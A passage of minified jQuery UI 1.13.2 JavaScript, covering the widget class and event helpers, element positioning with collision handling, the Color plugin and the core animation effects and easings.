t.is(e)})||i.push(e)}),a._on(V(i),{remove:"_untrackClassesElement"})}(),V(V.uniqueSort(i.get().concat(n.element.get())))):V(i.not(n.element).get()),a.classesElementLookup[t[s]]=i,o.push(t[s]),e&&n.classes[t[s]]&&o.push(n.classes[t[s]])}return(n=V.extend({element:this.element,classes:this.options.classes||{}},n)).keys&&t(n.keys.match(/\S+/g)||[],!0),n.extra&&t(n.extra.match(/\S+/g)||[]),o.join(" ")},_untrackClassesElement:function(i){var s=this;V.each(s.classesElementLookup,function(t,e){-1!==V.inArray(i.target,e)&&(s.classesElementLookup[t]=V(e.not(i.target).get()))}),this._off(V(i.target))},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){var n="string"==typeof t||null===t,i={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s="boolean"==typeof s?s:i};return i.element.toggleClass(this._classes(i),s),this},_on:function(n,o,t){var a,r=this;"boolean"!=typeof n&&(t=o,o=n,n=!1),t?(o=a=V(o),this.bindings=this.bindings.add(o)):(t=o,o=this.element,a=this.widget()),V.each(t,function(t,e){function i(){if(n||!0!==r.options.disabled&&!V(this).hasClass("ui-state-disabled"))return("string"==typeof e?r[e]:e).apply(r,arguments)}"string"!=typeof e&&(i.guid=e.guid=e.guid||i.guid||V.guid++);var s=t.match(/^([\w:-]*)\s*(.*)$/),t=s[1]+r.eventNamespace,s=s[2];s?a.on(t,s,i):o.on(t,i)})},_off:function(t,e){e=(e||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(e),this.bindings=V(this.bindings.not(t).get()),this.focusable=V(this.focusable.not(t).get()),this.hoverable=V(this.hoverable.not(t).get())},_delay:function(t,e){var i=this;return setTimeout(function(){return("string"==typeof t?i[t]:t).apply(i,arguments)},e||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(V(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(V(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(V(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(V(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,e,i){var s,n,o=this.options[t];if(i=i||{},(e=V.Event(e)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),e.target=this.element[0],n=e.originalEvent)for(s in n)s in e||(e[s]=n[s]);return this.element.trigger(e,i),!("function"==typeof o&&!1===o.apply(this.element[0],[e].concat(i))||e.isDefaultPrevented())}},V.each({show:"fadeIn",hide:"fadeOut"},function(o,a){V.Widget.prototype["_"+o]=function(e,t,i){var s,n=(t="string"==typeof t?{effect:t}:t)?!0!==t&&"number"!=typeof t&&t.effect||a:o;"number"==typeof(t=t||{})?t={duration:t}:!0===t&&(t={}),s=!V.isEmptyObject(t),t.complete=i,t.delay&&e.delay(t.delay),s&&V.effects&&V.effects.effect[n]?e[o](t):n!==o&&e[n]?e[n](t.duration,t.easing,i):e.queue(function(t){V(this)[o](),i&&i.call(e[0]),t()})}});var s,x,k,o,l,h,c,u,C;V.widget;function D(t,e,i){return[parseFloat(t[0])*(u.test(t[0])?e/100:1),parseFloat(t[1])*(u.test(t[1])?i/100:1)]}function I(t,e){return parseInt(V.css(t,e),10)||0}function T(t){return null!=t&&t===t.window}x=Math.max,k=Math.abs,o=/left|center|right/,l=/top|center|bottom/,h=/[\+\-]\d+(\.[\d]+)?%?/,c=/^\w+/,u=/%$/,C=V.fn.position,V.position={scrollbarWidth:function(){if(void 0!==s)return s;var t,e=V("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'></div></div>"),i=e.children()[0];return V("body").append(e),t=i.offsetWidth,e.css("overflow","scroll"),t===(i=i.offsetWidth)&&(i=e[0].clientWidth),e.remove(),s=t-i},getScrollInfo:function(t){var e=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),i=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),e="scroll"===e||"auto"===e&&t.width<t.element[0].scrollWidth;return{width:"scroll"===i||"auto"===i&&t.height<t.element[0].scrollHeight?V.position.scrollbarWidth():0,height:e?V.position.scrollbarWidth():0}},getWithinInfo:function(t){var e=V(t||window),i=T(e[0]),s=!!e[0]&&9===e[0].nodeType;return{element:e,isWindow:i,isDocument:s,offset:!i&&!s?V(t).offset():{left:0,top:0},scrollLeft:e.scrollLeft(),scrollTop:e.scrollTop(),width:e.outerWidth(),height:e.outerHeight()}}},V.fn.position=function(u){if(!u||!u.of)return C.apply(this,arguments);var d,p,f,g,m,t,_="string"==typeof(u=V.extend({},u)).of?V(document).find(u.of):V(u.of),v=V.position.getWithinInfo(u.within),b=V.position.getScrollInfo(v),y=(u.collision||"flip").split(" "),w={},e=9===(t=(e=_)[0]).nodeType?{width:e.width(),height:e.height(),offset:{top:0,left:0}}:T(t)?{width:e.width(),height:e.height(),offset:{top:e.scrollTop(),left:e.scrollLeft()}}:t.preventDefault?{width:0,height:0,offset:{top:t.pageY,left:t.pageX}}:{width:e.outerWidth(),height:e.outerHeight(),offset:e.offset()};return _[0].preventDefault&&(u.at="left top"),p=e.width,f=e.height,m=V.extend({},g=e.offset),V.each(["my","at"],function(){var t,e,i=(u[this]||"").split(" ");(i=1===i.length?o.test(i[0])?i.concat(["center"]):l.test(i[0])?["center"].concat(i):["center","center"]:i)[0]=o.test(i[0])?i[0]:"center",i[1]=l.test(i[1])?i[1]:"center",t=h.exec(i[0]),e=h.exec(i[1]),w[this]=[t?t[0]:0,e?e[0]:0],u[this]=[c.exec(i[0])[0],c.exec(i[1])[0]]}),1===y.length&&(y[1]=y[0]),"right"===u.at[0]?m.left+=p:"center"===u.at[0]&&(m.left+=p/2),"bottom"===u.at[1]?m.top+=f:"center"===u.at[1]&&(m.top+=f/2),d=D(w.at,p,f),m.left+=d[0],m.top+=d[1],this.each(function(){var i,t,a=V(this),r=a.outerWidth(),l=a.outerHeight(),e=I(this,"marginLeft"),s=I(this,"marginTop"),n=r+e+I(this,"marginRight")+b.width,o=l+s+I(this,"marginBottom")+b.height,h=V.extend({},m),c=D(w.my,a.outerWidth(),a.outerHeight());"right"===u.my[0]?h.left-=r:"center"===u.my[0]&&(h.left-=r/2),"bottom"===u.my[1]?h.top-=l:"center"===u.my[1]&&(h.top-=l/2),h.left+=c[0],h.top+=c[1],i={marginLeft:e,marginTop:s},V.each(["left","top"],function(t,e){V.ui.position[y[t]]&&V.ui.position[y[t]][e](h,{targetWidth:p,targetHeight:f,elemWidth:r,elemHeight:l,collisionPosition:i,collisionWidth:n,collisionHeight:o,offset:[d[0]+c[0],d[1]+c[1]],my:u.my,at:u.at,within:v,elem:a})}),u.using&&(t=function(t){var e=g.left-h.left,i=e+p-r,s=g.top-h.top,n=s+f-l,o={target:{element:_,left:g.left,top:g.top,width:p,height:f},element:{element:a,left:h.left,top:h.top,width:r,height:l},horizontal:i<0?"left":0<e?"right":"center",vertical:n<0?"top":0<s?"bottom":"middle"};p<r&&k(e+i)<p&&(o.horizontal="center"),f<l&&k(s+n)<f&&(o.vertical="middle"),x(k(e),k(i))>x(k(s),k(n))?o.important="horizontal":o.important="vertical",u.using.call(this,t,o)}),a.offset(V.extend(h,{using:t}))})},V.ui.position={fit:{left:function(t,e){var i=e.within,s=i.isWindow?i.scrollLeft:i.offset.left,n=i.width,o=t.left-e.collisionPosition.marginLeft,a=s-o,r=o+e.collisionWidth-n-s;e.collisionWidth>n?0<a&&r<=0?(i=t.left+a+e.collisionWidth-n-s,t.left+=a-i):t.left=!(0<r&&a<=0)&&r<a?s+n-e.collisionWidth:s:0<a?t.left+=a:0<r?t.left-=r:t.left=x(t.left-o,t.left)},top:function(t,e){var i=e.within,s=i.isWindow?i.scrollTop:i.offset.top,n=e.within.height,o=t.top-e.collisionPosition.marginTop,a=s-o,r=o+e.collisionHeight-n-s;e.collisionHeight>n?0<a&&r<=0?(i=t.top+a+e.collisionHeight-n-s,t.top+=a-i):t.top=!(0<r&&a<=0)&&r<a?s+n-e.collisionHeight:s:0<a?t.top+=a:0<r?t.top-=r:t.top=x(t.top-o,t.top)}},flip:{left:function(t,e){var i=e.within,s=i.offset.left+i.scrollLeft,n=i.width,o=i.isWindow?i.scrollLeft:i.offset.left,a=t.left-e.collisionPosition.marginLeft,r=a-o,l=a+e.collisionWidth-n-o,h="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,i="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,a=-2*e.offset[0];r<0?((s=t.left+h+i+a+e.collisionWidth-n-s)<0||s<k(r))&&(t.left+=h+i+a):0<l&&(0<(o=t.left-e.collisionPosition.marginLeft+h+i+a-o)||k(o)<l)&&(t.left+=h+i+a)},top:function(t,e){var i=e.within,s=i.offset.top+i.scrollTop,n=i.height,o=i.isWindow?i.scrollTop:i.offset.top,a=t.top-e.collisionPosition.marginTop,r=a-o,l=a+e.collisionHeight-n-o,h="top"===e.my[1]?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,i="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,a=-2*e.offset[1];r<0?((s=t.top+h+i+a+e.collisionHeight-n-s)<0||s<k(r))&&(t.top+=h+i+a):0<l&&(0<(o=t.top-e.collisionPosition.marginTop+h+i+a-o)||k(o)<l)&&(t.top+=h+i+a)}},flipfit:{left:function(){V.ui.position.flip.left.apply(this,arguments),V.ui.position.fit.left.apply(this,arguments)},top:function(){V.ui.position.flip.top.apply(this,arguments),V.ui.position.fit.top.apply(this,arguments)}}};V.ui.position,V.extend(V.expr.pseudos,{data:V.expr.createPseudo?V.expr.createPseudo(function(e){return function(t){return!!V.data(t,e)}}):function(t,e,i){return!!V.data(t,i[3])}}),V.fn.extend({disableSelection:(t="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}),enableSelection:function(){return this.off(".ui-disableSelection")}});var t,d=V,p={},e=p.toString,f=/^([\-+])=\s*(\d+\.?\d*)/,g=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16),t[4]?(parseInt(t[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16),t[4]?(parseInt(t[4]+t[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],m=d.Color=function(t,e,i,s){return new d.Color.fn.parse(t,e,i,s)},_={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},v={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},b=m.support={},y=d("<p>")[0],w=d.each;function P(t){return null==t?t+"":"object"==typeof t?p[e.call(t)]||"object":typeof t}function M(t,e,i){var s=v[e.type]||{};return null==t?i||!e.def?null:e.def:(t=s.floor?~~t:parseFloat(t),isNaN(t)?e.def:s.mod?(t+s.mod)%s.mod:Math.min(s.max,Math.max(0,t)))}function S(s){var n=m(),o=n._rgba=[];return s=s.toLowerCase(),w(g,function(t,e){var i=e.re.exec(s),i=i&&e.parse(i),e=e.space||"rgba";if(i)return i=n[e](i),n[_[e].cache]=i[_[e].cache],o=n._rgba=i._rgba,!1}),o.length?("0,0,0,0"===o.join()&&d.extend(o,B.transparent),n):B[s]}function H(t,e,i){return 6*(i=(i+1)%1)<1?t+(e-t)*i*6:2*i<1?e:3*i<2?t+(e-t)*(2/3-i)*6:t}y.style.cssText="background-color:rgba(1,1,1,.5)",b.rgba=-1<y.style.backgroundColor.indexOf("rgba"),w(_,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),d.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(t,e){p["[object "+e+"]"]=e.toLowerCase()}),(m.fn=d.extend(m.prototype,{parse:function(n,t,e,i){if(void 0===n)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=d(n).css(t),t=void 0);var o=this,s=P(n),a=this._rgba=[];return void 0!==t&&(n=[n,t,e,i],s="array"),"string"===s?this.parse(S(n)||B._default):"array"===s?(w(_.rgba.props,function(t,e){a[e.idx]=M(n[e.idx],e)}),this):"object"===s?(w(_,n instanceof m?function(t,e){n[e.cache]&&(o[e.cache]=n[e.cache].slice())}:function(t,i){var s=i.cache;w(i.props,function(t,e){if(!o[s]&&i.to){if("alpha"===t||null==n[t])return;o[s]=i.to(o._rgba)}o[s][e.idx]=M(n[t],e,!0)}),o[s]&&d.inArray(null,o[s].slice(0,3))<0&&(null==o[s][3]&&(o[s][3]=1),i.from&&(o._rgba=i.from(o[s])))}),this):void 0},is:function(t){var n=m(t),o=!0,a=this;return w(_,function(t,e){var i,s=n[e.cache];return s&&(i=a[e.cache]||e.to&&e.to(a._rgba)||[],w(e.props,function(t,e){if(null!=s[e.idx])return o=s[e.idx]===i[e.idx]})),o}),o},_space:function(){var i=[],s=this;return w(_,function(t,e){s[e.cache]&&i.push(t)}),i.pop()},transition:function(t,a){var e=(h=m(t))._space(),i=_[e],t=0===this.alpha()?m("transparent"):this,r=t[i.cache]||i.to(t._rgba),l=r.slice(),h=h[i.cache];return w(i.props,function(t,e){var i=e.idx,s=r[i],n=h[i],o=v[e.type]||{};null!==n&&(null===s?l[i]=n:(o.mod&&(n-s>o.mod/2?s+=o.mod:s-n>o.mod/2&&(s-=o.mod)),l[i]=M((n-s)*a+s,e)))}),this[e](l)},blend:function(t){if(1===this._rgba[3])return this;var e=this._rgba.slice(),i=e.pop(),s=m(t)._rgba;return m(d.map(e,function(t,e){return(1-i)*s[e]+i*t}))},toRgbaString:function(){var t="rgba(",e=d.map(this._rgba,function(t,e){return null!=t?t:2<e?1:0});return 1===e[3]&&(e.pop(),t="rgb("),t+e.join()+")"},toHslaString:function(){var t="hsla(",e=d.map(this.hsla(),function(t,e){return null==t&&(t=2<e?1:0),t=e&&e<3?Math.round(100*t)+"%":t});return 1===e[3]&&(e.pop(),t="hsl("),t+e.join()+")"},toHexString:function(t){var e=this._rgba.slice(),i=e.pop();return t&&e.push(~~(255*i)),"#"+d.map(e,function(t){return 1===(t=(t||0).toString(16)).length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}})).parse.prototype=m.fn,_.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/255,i=t[1]/255,s=t[2]/255,n=t[3],o=Math.max(e,i,s),a=Math.min(e,i,s),r=o-a,l=o+a,t=.5*l,i=a===o?0:e===o?60*(i-s)/r+360:i===o?60*(s-e)/r+120:60*(e-i)/r+240,l=0==r?0:t<=.5?r/l:r/(2-l);return[Math.round(i)%360,l,t,null==n?1:n]},_.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,i=t[1],s=t[2],t=t[3],i=s<=.5?s*(1+i):s+i-s*i,s=2*s-i;return[Math.round(255*H(s,i,e+1/3)),Math.round(255*H(s,i,e)),Math.round(255*H(s,i,e-1/3)),t]},w(_,function(l,t){var e=t.props,o=t.cache,a=t.to,r=t.from;m.fn[l]=function(t){if(a&&!this[o]&&(this[o]=a(this._rgba)),void 0===t)return this[o].slice();var i=P(t),s="array"===i||"object"===i?t:arguments,n=this[o].slice();return w(e,function(t,e){t=s["object"===i?t:e.idx];null==t&&(t=n[e.idx]),n[e.idx]=M(t,e)}),r?((t=m(r(n)))[o]=n,t):m(n)},w(e,function(a,r){m.fn[a]||(m.fn[a]=function(t){var e,i=P(t),s="alpha"===a?this._hsla?"hsla":"rgba":l,n=this[s](),o=n[r.idx];return"undefined"===i?o:("function"===i&&(i=P(t=t.call(this,o))),null==t&&r.empty?this:("string"===i&&(e=f.exec(t))&&(t=o+parseFloat(e[2])*("+"===e[1]?1:-1)),n[r.idx]=t,this[s](n)))})})}),(m.hook=function(t){t=t.split(" ");w(t,function(t,o){d.cssHooks[o]={set:function(t,e){var i,s,n="";if("transparent"!==e&&("string"!==P(e)||(i=S(e)))){if(e=m(i||e),!b.rgba&&1!==e._rgba[3]){for(s="backgroundColor"===o?t.parentNode:t;(""===n||"transparent"===n)&&s&&s.style;)try{n=d.css(s,"backgroundColor"),s=s.parentNode}catch(t){}e=e.blend(n&&"transparent"!==n?n:"_default")}e=e.toRgbaString()}try{t.style[o]=e}catch(t){}}},d.fx.step[o]=function(t){t.colorInit||(t.start=m(t.elem,o),t.end=m(t.end),t.colorInit=!0),d.cssHooks[o].set(t.elem,t.start.transition(t.end,t.pos))}})})("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),d.cssHooks.borderColor={expand:function(i){var s={};return w(["Top","Right","Bottom","Left"],function(t,e){s["border"+e+"Color"]=i}),s}};var z,A,O,N,E,W,F,L,R,Y,B=d.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"},j="ui-effects-",q="ui-effects-style",K="ui-effects-animated";function U(t){var e,i,s=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,n={};if(s&&s.length&&s[0]&&s[s[0]])for(i=s.length;i--;)"string"==typeof s[e=s[i]]&&(n[e.replace(/-([\da-z])/gi,function(t,e){return e.toUpperCase()})]=s[e]);else for(e in s)"string"==typeof s[e]&&(n[e]=s[e]);return n}function X(t,e,i,s){return t={effect:t=V.isPlainObject(t)?(e=t).effect:t},"function"==typeof(e=null==e?{}:e)&&(s=e,i=null,e={}),"number"!=typeof e&&!V.fx.speeds[e]||(s=i,i=e,e={}),"function"==typeof i&&(s=i,i=null),e&&V.extend(t,e),i=i||e.duration,t.duration=V.fx.off?0:"number"==typeof i?i:i in V.fx.speeds?V.fx.speeds[i]:V.fx.speeds._default,t.complete=s||e.complete,t}function $(t){return!t||"number"==typeof t||V.fx.speeds[t]||("string"==typeof t&&!V.effects.effect[t]||("function"==typeof t||"object"==typeof t&&!t.effect))}function G(t,e){var i=e.outerWidth(),e=e.outerHeight(),t=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(t)||["",0,i,e,0];return{top:parseFloat(t[1])||0,right:"auto"===t[2]?i:parseFloat(t[2]),bottom:"auto"===t[3]?e:parseFloat(t[3]),left:parseFloat(t[4])||0}}V.effects={effect:{}},N=["add","remove","toggle"],E={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1},V.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,e){V.fx.step[e]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(d.style(t.elem,e,t.end),t.setAttr=!0)}}),V.fn.addBack||(V.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),V.effects.animateClass=function(n,t,e,i){var o=V.speed(t,e,i);return this.queue(function(){var i=V(this),t=i.attr("class")||"",e=(e=o.children?i.find("*").addBack():i).map(function(){return{el:V(this),start:U(this)}}),s=function(){V.each(N,function(t,e){n[e]&&i[e+"Class"](n[e])})};s(),e=e.map(function(){return this.end=U(this.el[0]),this.diff=function(t,e){var i,s,n={};for(i in e)s=e[i],t[i]!==s&&(E[i]||!V.fx.step[i]&&isNaN(parseFloat(s))||(n[i]=s));return n}(this.start,this.end),this}),i.attr("class",t),e=e.map(function(){var t=this,e=V.Deferred(),i=V.extend({},o,{queue:!1,complete:function(){e.resolve(t)}});return this.el.animate(this.diff,i),e.promise()}),V.when.apply(V,e.get()).done(function(){s(),V.each(arguments,function(){var e=this.el;V.each(this.diff,function(t){e.css(t,"")})}),o.complete.call(i[0])})})},V.fn.extend({addClass:(O=V.fn.addClass,function(t,e,i,s){return e?V.effects.animateClass.call(this,{add:t},e,i,s):O.apply(this,arguments)}),removeClass:(A=V.fn.removeClass,function(t,e,i,s){return 1<arguments.length?V.effects.animateClass.call(this,{remove:t},e,i,s):A.apply(this,arguments)}),toggleClass:(z=V.fn.toggleClass,function(t,e,i,s,n){return"boolean"==typeof e||void 0===e?i?V.effects.animateClass.call(this,e?{add:t}:{remove:t},i,s,n):z.apply(this,arguments):V.effects.animateClass.call(this,{toggle:t},e,i,s)}),switchClass:function(t,e,i,s,n){return V.effects.animateClass.call(this,{add:e,remove:t},i,s,n)}}),V.expr&&V.expr.pseudos&&V.expr.pseudos.animated&&(V.expr.pseudos.animated=(W=V.expr.pseudos.animated,function(t){return!!V(t).data(K)||W(t)})),!1!==V.uiBackCompat&&V.extend(V.effects,{save:function(t,e){for(var i=0,s=e.length;i<s;i++)null!==e[i]&&t.data(j+e[i],t[0].style[e[i]])},restore:function(t,e){for(var i,s=0,n=e.length;s<n;s++)null!==e[s]&&(i=t.data(j+e[s]),t.css(e[s],i))},setMode:function(t,e){return e="toggle"===e?t.is(":hidden")?"show":"hide":e},createWrapper:function(i){if(i.parent().is(".ui-effects-wrapper"))return i.parent();var s={width:i.outerWidth(!0),height:i.outerHeight(!0),float:i.css("float")},t=V("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e={width:i.width(),height:i.height()},n=document.activeElement;try{n.id}catch(t){n=document.body}return i.wrap(t),i[0]!==n&&!V.contains(i[0],n)||V(n).trigger("focus"),t=i.parent(),"static"===i.css("position")?(t.css({position:"relative"}),i.css({position:"relative"})):(V.extend(s,{position:i.css("position"),zIndex:i.css("z-index")}),V.each(["top","left","bottom","right"],function(t,e){s[e]=i.css(e),isNaN(parseInt(s[e],10))&&(s[e]="auto")}),i.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),i.css(e),t.css(s).show()},removeWrapper:function(t){var e=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),t[0]!==e&&!V.contains(t[0],e)||V(e).trigger("focus")),t}}),V.extend(V.effects,{version:"1.13.2",define:function(t,e,i){return i||(i=e,e="effect"),V.effects.effect[t]=i,V.effects.effect[t].mode=e,i},scaledDimensions:function(t,e,i){if(0===e)return{height:0,width:0,outerHeight:0,outerWidth:0};var s="horizontal"!==i?(e||100)/100:1,e="vertical"!==i?(e||100)/100:1;return{height:t.height()*e,width:t.width()*s,outerHeight:t.outerHeight()*e,outerWidth:t.outerWidth()*s}},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,i){var s=t.queue();1<e&&s.splice.apply(s,[1,0].concat(s.splice(e,i))),t.dequeue()},saveStyle:function(t){t.data(q,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(q)||"",t.removeData(q)},mode:function(t,e){t=t.is(":hidden");return"toggle"===e&&(e=t?"show":"hide"),e=(t?"hide"===e:"show"===e)?"none":e},getBaseline:function(t,e){var i,s;switch(t[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=t[0]/e.height}switch(t[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=t[1]/e.width}return{x:s,y:i}},createPlaceholder:function(t){var e,i=t.css("position"),s=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(i)&&(i="absolute",e=V("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(j+"placeholder",e)),t.css({position:i,left:s.left,top:s.top}),e},removePlaceholder:function(t){var e=j+"placeholder",i=t.data(e);i&&(i.remove(),t.removeData(e))},cleanUp:function(t){V.effects.restoreStyle(t),V.effects.removePlaceholder(t)},setTransition:function(s,t,n,o){return o=o||{},V.each(t,function(t,e){var i=s.cssUnit(e);0<i[0]&&(o[e]=i[0]*n+i[1])}),o}}),V.fn.extend({effect:function(){function t(t){var e=V(this),i=V.effects.mode(e,r)||o;e.data(K,!0),l.push(i),o&&("show"===i||i===o&&"hide"===i)&&e.show(),o&&"none"===i||V.effects.saveStyle(e),"function"==typeof t&&t()}var s=X.apply(this,arguments),n=V.effects.effect[s.effect],o=n.mode,e=s.queue,i=e||"fx",a=s.complete,r=s.mode,l=[];return V.fx.off||!n?r?this[r](s.duration,a):this.each(function(){a&&a.call(this)}):!1===e?this.each(t).each(h):this.queue(i,t).queue(i,h);function h(t){var e=V(this);function i(){"function"==typeof a&&a.call(e[0]),"function"==typeof t&&t()}s.mode=l.shift(),!1===V.uiBackCompat||o?"none"===s.mode?(e[r](),i()):n.call(e[0],s,function(){e.removeData(K),V.effects.cleanUp(e),"hide"===s.mode&&e.hide(),i()}):(e.is(":hidden")?"hide"===r:"show"===r)?(e[r](),i()):n.call(e[0],s,i)}},show:(R=V.fn.show,function(t){if($(t))return R.apply(this,arguments);t=X.apply(this,arguments);return t.mode="show",this.effect.call(this,t)}),hide:(L=V.fn.hide,function(t){if($(t))return L.apply(this,arguments);t=X.apply(this,arguments);return t.mode="hide",this.effect.call(this,t)}),toggle:(F=V.fn.toggle,function(t){if($(t)||"boolean"==typeof t)return F.apply(this,arguments);t=X.apply(this,arguments);return t.mode="toggle",this.effect.call(this,t)}),cssUnit:function(t){var i=this.css(t),s=[];return V.each(["em","px","%","pt"],function(t,e){0<i.indexOf(e)&&(s=[parseFloat(i),e])}),s},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):G(this.css("clip"),this)},transfer:function(t,e){var i=V(this),s=V(t.to),n="fixed"===s.css("position"),o=V("body"),a=n?o.scrollTop():0,r=n?o.scrollLeft():0,o=s.offset(),o={top:o.top-a,left:o.left-r,height:s.innerHeight(),width:s.innerWidth()},s=i.offset(),l=V("<div class='ui-effects-transfer'></div>");l.appendTo("body").addClass(t.className).css({top:s.top-a,left:s.left-r,height:i.innerHeight(),width:i.innerWidth(),position:n?"fixed":"absolute"}).animate(o,t.duration,t.easing,function(){l.remove(),"function"==typeof e&&e()})}}),V.fx.step.clip=function(t){t.clipInit||(t.start=V(t.elem).cssClip(),"string"==typeof t.end&&(t.end=G(t.end,t.elem)),t.clipInit=!0),V(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})},Y={},V.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,t){Y[t]=function(t){return Math.pow(t,e+2)}}),V.extend(Y,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,i=4;t<((e=Math.pow(2,--i))-1)/11;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*e-2)/22-t,2)}}),V.each(Y,function(t,e){V.easing["easeIn"+t]=e,V.easing["easeOut"+t]=function(t){return 1-e(1-t)},V.easing["easeInOut"+t]=function(t){return t<.5?e(2*t)/2:1-e(-2*t+2)/2}});y=V.effects,V.effects.define("blind","hide",function(t,e){var 